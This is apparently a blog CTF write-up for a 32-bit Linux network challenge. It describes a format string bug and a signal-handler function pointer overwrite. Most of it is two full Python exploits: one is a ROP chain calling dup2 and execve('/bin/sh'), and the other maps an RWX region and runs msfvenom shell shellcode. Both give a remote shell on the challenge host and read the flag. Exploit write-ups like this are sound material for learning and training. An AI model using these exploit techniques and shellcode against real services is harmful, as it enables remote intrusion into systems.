We were given a 32 bit Linux ELF executable with NX enabled. The executable is very much similar to pwn100. As pwn100, we can overwrite function pointer in signal handler and there is a format string bug, which in turn can trigger a buffer overflow in main() and send_back() functions.
[*] CALL EAX instruction points to gadget to shift ESP into user data past the header
[*] Call dup2(4, stdin) and dup2(4, stdout)
[*] Now call execve() to execute /bin/sh. Calling system() inside siganl didn't work, giving BAD ADDRESS error. Looks like an issue with signal safety
[*] Offsets of libc functions are computed using the copy of libc obtained from pwn100 shell
Below is the exploit:
Meanwhile I wrote another exploit, as I faced some issues with first exploit. Eventually got both working. Here is the exploit
[*] mmap() a new memory area with RWX permission
[*] call read() and copy payload into buffer
[*] Jump to this buffer
main { read(client_sockfd, buffer, 0x800); strncpy(tech_id, buffer, 0x100); sprintf(&v10, tech_id); // format string bug sprintf(&v5, "\n> Thank you %s\n> Now please send your code using your RETL Flux Capacitor device.\n", &v10); send_back(&v5); } send_back(const char *src) { char buf[2048]; memset(&buf, 0, 0x800); strncpy(&buf, src, strlen(src) - 1); // length parameter computed from user input return send(client_sockfd, &buf, strlen(&buf) - 1, 0); }Below input can overwrite saved EIP in send_back()
%2000d + "A" * 200But I didn't exploit this vulnerability. We still went for same function pointer overwrite in signal handler, but this time with ROP. Here is the idea of exploit
[*] CALL EAX instruction points to gadget to shift ESP into user data past the header
[*] Call dup2(4, stdin) and dup2(4, stdout)
[*] Now call execve() to execute /bin/sh. Calling system() inside siganl didn't work, giving BAD ADDRESS error. Looks like an issue with signal safety
[*] Offsets of libc functions are computed using the copy of libc obtained from pwn100 shell
Below is the exploit:
#!/usr/bin/env python import socket from hashlib import sha256 import struct import time #ip = "127.0.0.1" ip = "dimvactf.0x90.eu" #port = 7778 port = 1120 soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) soc.connect((ip, port)) print soc.recv(1024) libc_start_main = 0x193e0 dup2 = 0xdedd0 execve = 0xb82e0 format = "ProtoSecure1.0 " + struct.pack("B", 0x80) # 16 bytes hash = sha256(struct.pack("<I", 0x0806b264) * 32).digest() string_for_hash = struct.pack("<I", 0x0806b264) * 32 # ret as NOP payload = struct.pack("<I", 0x0806b264) * 275 # ret # dup2 stdin payload += struct.pack("<I", 0x08048a80) # pop ebx ; ret payload += struct.pack("<I", (0x0806d088 + 0x0B8A0008)) # GOT address of __libc_start_main payload += struct.pack("<I", 0x08048ec3) # pop ebp ; ret payload += struct.pack("<I", dup2 - libc_start_main) # Offset to dup2 payload += struct.pack("<I", 0x0804cf55) # xchg eax, ebp ; ret payload += struct.pack("<I", 0x0805801e) # add eax, dword [ebx-0x0B8A0008] ; add esp, 0x04 ; pop ebx ; pop ebp ; ret payload += "MOVE" payload += "JUNK" payload += struct.pack("<I", 0x0806d460) # .bss payload += struct.pack("<I", 0x0804b1d2) # call eax payload += struct.pack("<I", 0x4) # socket payload += struct.pack("<I", 0x0) # stdin payload += "A" * 52 # dup2 stdout payload += struct.pack("<I", 0x08048a80) # pop ebx ; ret payload += struct.pack("<I", (0x0806d088 + 0x0B8A0008)) # GOT address of __libc_start_main payload += struct.pack("<I", 0x08048ec3) # pop ebp ; ret payload += struct.pack("<I", dup2 - libc_start_main) # Offset to dup2_remote payload += struct.pack("<I", 0x0804cf55) # xchg eax, ebp ; ret payload += struct.pack("<I", 0x0805801e) # add eax, dword [ebx-0x0B8A0008] ; add esp, 0x04 ; pop ebx ; pop ebp ; ret payload += "MOVE" payload += "JUNK" payload += struct.pack("<I", 0x0806d460) # .bss payload += struct.pack("<I", 0x0804b1d2) # call eax payload += struct.pack("<I", 0x4) # socket payload += struct.pack("<I", 0x1) # stdout payload += "A" * 52 # execve payload += struct.pack("<I", 0x08048a80) # pop ebx ; ret payload += struct.pack("<I", (0x0806d088 + 0x0B8A0008)) # GOT address of __libc_start_main payload += struct.pack("<I", 0x08048ec3) # pop ebp ; ret payload += struct.pack("<I", execve - libc_start_main) # Offset to execve_remote payload += struct.pack("<I", 0x0804cf55) # xchg eax, ebp ; ret payload += struct.pack("<I", 0x0805801e) # add eax, dword [ebx-0x0B8A0008] ; add esp, 0x04 ; pop ebx ; pop ebp ; ret payload += "MOVE" payload += "JUNK" payload += struct.pack("<I", 0x0806d460) # .bss payload += struct.pack("<I", 0x08048eef) # call eax payload += struct.pack("<I", 0x0806ed40+1528) # parameters for execve payload += struct.pack("<I", 0x0) payload += struct.pack("<I", 0x0) payload += "/bin" payload += "//sh" payload += struct.pack("<I", 0x0) # stack pivot for call eax payload += struct.pack("<I", 0x080565ee) # add esp, 0x5C code = (format + hash + string_for_hash + payload) soc.send(code + "\n") time.sleep(1) print soc.recv(2048) soc.send(code + "\n") time.sleep(1) print soc.recv(1024) soc.send("/bin/cat flag\n") time.sleep(1) print soc.recv(1024)Flag for the challenge is c0ffee700ab3f9a35614f29d1cb65186
Meanwhile I wrote another exploit, as I faced some issues with first exploit. Eventually got both working. Here is the exploit
[*] mmap() a new memory area with RWX permission
[*] call read() and copy payload into buffer
[*] Jump to this buffer
#!/usr/bin/env python import socket from hashlib import sha256 import struct import time #ip = "127.0.0.1" ip = "dimvactf.0x90.eu" #port = 7778 port = 1120 libc_start_main = 0x193e0 mmap = 0xeb0e0 read = 0xde440 soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) soc.connect((ip, port)) print soc.recv(1024) format = "ProtoSecure1.0 " + struct.pack("B", 0x80) # 16 bytes hash = sha256(struct.pack("<I", 0x0806b264) * 32).digest() string_for_hash = struct.pack("<I", 0x0806b264) * 32 # ret as NOP payload = struct.pack("<I", 0x0806b264) * 290 # ret as NOP # mmap payload += struct.pack("<I", 0x08048a80) # pop ebx ; ret payload += struct.pack("<I", (0x0806d088 + 0x0B8A0008)) # GOT address of __libc_start_main payload += struct.pack("<I", 0x08048ec3) # pop ebp ; ret payload += struct.pack("<I", mmap - libc_start_main) # Offset to mmap payload += struct.pack("<I", 0x0804cf55) # xchg eax, ebp ; ret payload += struct.pack("<I", 0x0805801e) # add eax, dword [ebx-0x0B8A0008] ; add esp, 0x04 ; pop ebx ; pop ebp ; ret payload += "MOVE" payload += "JUNK" payload += struct.pack("<I", 0x0806d460) # .bss payload += struct.pack("<I", 0x0804b1d2) # call eax payload += struct.pack("<I", 0xbadc000) # addr for mmap payload += struct.pack("<I", 1024) # size payload += struct.pack("<I", 7) # permission payload += struct.pack("<I", 34) payload += struct.pack("<I", 0x0) payload += struct.pack("<I", 0x0) payload += "A" * 36 # read payload += struct.pack("<I", 0x08048a80) # pop ebx ; ret payload += struct.pack("<I", (0x0806d088 + 0x0B8A0008)) # GOT address of __libc_start_main payload += struct.pack("<I", 0x08048ec3) # pop ebp ; ret payload += struct.pack("<I", read - libc_start_main) # Offset to read payload += struct.pack("<I", 0x0804cf55) # xchg eax, ebp ; ret payload += struct.pack("<I", 0x0805801e) # add eax, dword [ebx-0x0B8A0008] ; add esp, 0x04 ; pop ebx ; pop ebp ; ret payload += "MOVE" payload += "JUNK" payload += struct.pack("<I", 0x0806d460) # .bss payload += struct.pack("<I", 0x0804b1d2) # call eax payload += struct.pack("<I", 0x4) # socket payload += struct.pack("<I", 0xbadc000) # buffer payload += struct.pack("<I", 1024) # size payload += "A" * 48 payload += struct.pack("<I", 0xbadc000) # return address # call eax, stack pivot payload += struct.pack("<I", 0x080565ee) # add esp, 0x5C ; ret code = (format + hash + string_for_hash + payload) soc.send(code + "\n") time.sleep(1) print soc.recv(2048) soc.send(code + "\n") time.sleep(1) print soc.recv(1024) dup2 = ( "\x31\xc0\x31\xdb\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xb3\x04" + "\xcd\x80\x75\xf6" ) # 18 bytes # msfvenom /bin/sh shell = ( "\xdb\xc1\xd9\x74\x24\xf4\x5b\x29\xc9\xb1\x0b\xb8\x79\x0f" + # 70 bytes "\x74\x5a\x83\xc3\x04\x31\x43\x16\x03\x43\x16\xe2\x8c\x65" + "\x7f\x02\xf7\x28\x19\xda\x2a\xae\x6c\xfd\x5c\x1f\x1c\x6a" + "\x9c\x37\xcd\x08\xf5\xa9\x98\x2e\x57\xde\x93\xb0\x57\x1e" + "\x8b\xd2\x3e\x70\xfc\x61\xa8\x8c\x55\xd5\xa1\x6c\x94\x59" ) soc.send(dup2 + shell + "\n") soc.send("/bin/cat flag\n") time.sleep(1) print soc.recv(1024)
No comments :
Post a Comment